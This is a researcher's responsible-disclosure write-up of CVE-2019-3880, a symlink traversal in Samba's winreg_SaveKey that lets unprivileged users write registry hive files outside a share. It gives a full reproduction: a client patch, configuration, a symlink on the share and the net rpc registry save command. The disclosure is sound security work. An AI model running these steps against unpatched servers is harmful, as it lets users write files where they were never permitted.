Author: Michael Hanselmann. Updated: April 15, 2019.

Samba is a free software re-implementation of the SMB networking protocol used by Microsoft Windows. In March 2018 I found a vulnerability and reported it to the project using responsible disclosure where it was discussed in bug 13851. The vulnerability ID CVE-2019-3880 was assigned. The following bugfix releases were made on April 8, 2019:

Samba contains an RPC endpoint emulating the Windows registry service API. One of the requests, winreg_SaveKey, is susceptible to a path/symlink traversal vulnerability. Unprivileged users can use it to save a registry hive file anywhere they have write access, even outside a Samba share.

As far as the author is aware and can determine unprivileged users can't, by default, modify registry keys in Samba. As such they can't control the content of the file. If they could it'd be conceivable to be able to inject code (depending on the configuration shells ignore errors to a certain degree, though in this particular case the NUL bytes would prove a challenge).

The reproduction below demostrates how an unprivileged user (“vagrant”) can create a registry hive file in /home/vagrant. This is a scenario which can happen if such users don't have shell access (e.g. local or SSH), but can authenticate against Samba shares.

Reproduction environment

Samba compiled from master branch at commit 7d4865610f9542555c (March 18, 2019) running on an x86_64 CentOS 7.6.1810, compiler gcc version 4.8.5 20150623 (Red Hat 4.8.5-36).


Make a minor change to the client code (read access is sufficient and opening the key would fail as an unprivileged user):

diff --git a/source3/utils/net_rpc_registry.c b/source3/utils/net_rpc_registry.c
index 84936ee..759d5fa 100644
--- a/source3/utils/net_rpc_registry.c
+++ b/source3/utils/net_rpc_registry.c
@@ -1131,7 +1131,7 @@ static NTSTATUS rpc_registry_save_internal(struct net_context *c,

-	status = registry_openkey(mem_ctx, pipe_hnd, argv[0], REG_KEY_ALL,
+	status = registry_openkey(mem_ctx, pipe_hnd, argv[0], REG_KEY_READ,
 				  &pol_hive, &pol_key);
 	if (!NT_STATUS_IS_OK(status)) {
 		d_fprintf(stderr, _("registry_openkey failed: %s\n"),

Build and install Samba from Git, e.g.:

./configure.developer && make && sudo make install

Write configuration meant only for the reproduction:

$ cat >/usr/local/samba/etc/smb.conf <<'EOF'
log file=/usr/local/samba/var/log.%m
log level=3

path = /srv/data
readonly = no

Add unprivileged user to “users” group:

usermod -G users vagrant

Create directory user has write access to (exported as a share):

mkdir /srv/data
chown root:users /srv/data
chmod 1777 /srv/data

Run Samba as root:

/usr/local/samba/sbin/smbd -S -F --no-process-group

Mount share on client using unprivileged user (protocol 1 is used to enable Unix extensions such as real symlinks; cifs-utils needs to be installed):

mount -t cifs -o username=vagrant,vers=1.0 // /mnt

Use client to create symlink on share pointing to the desired destination directory on server:

$ ln -s /home/vagrant /mnt/myhome
$ ls -lhd /mnt/myhome
lrwxrwxrwx 1 1000 1000 13 Mar 21 01:36 /mnt/myhome -> /home/vagrant

Verify that nothing exists on server:

$ ls -lh /home/vagrant/*.dat
ls: cannot access /home/vagrant/*.dat: No such file or directory

Use modified net program to issue RPC request from client:

net -I -U vagrant rpc registry save HKLM /srv/data/myhome/hklm.dat

Opening the file in reg_api_regf.c:backup_registry_key will follow the symlink and create a registry dump in /home/vagrant:

$ ls -lh /home/vagrant/*.dat
-rw-------. 1 vagrant vagrant 24K Mar 21 00:42 /home/vagrant/hklm.dat

Note that if the user knows the path of a pre-existing symlink pointing to the desired destination they don't even need write access to a share. The code validating the path given to winreg_SaveKey in srv_winreg_nt.c:validate_reg_filename accepts any share path as a path prefix. The very same net rpc registry save command would also work if the following were the only share and the symlink in /srv/data already existed:

path = /srv
valid users = john
readonly = yes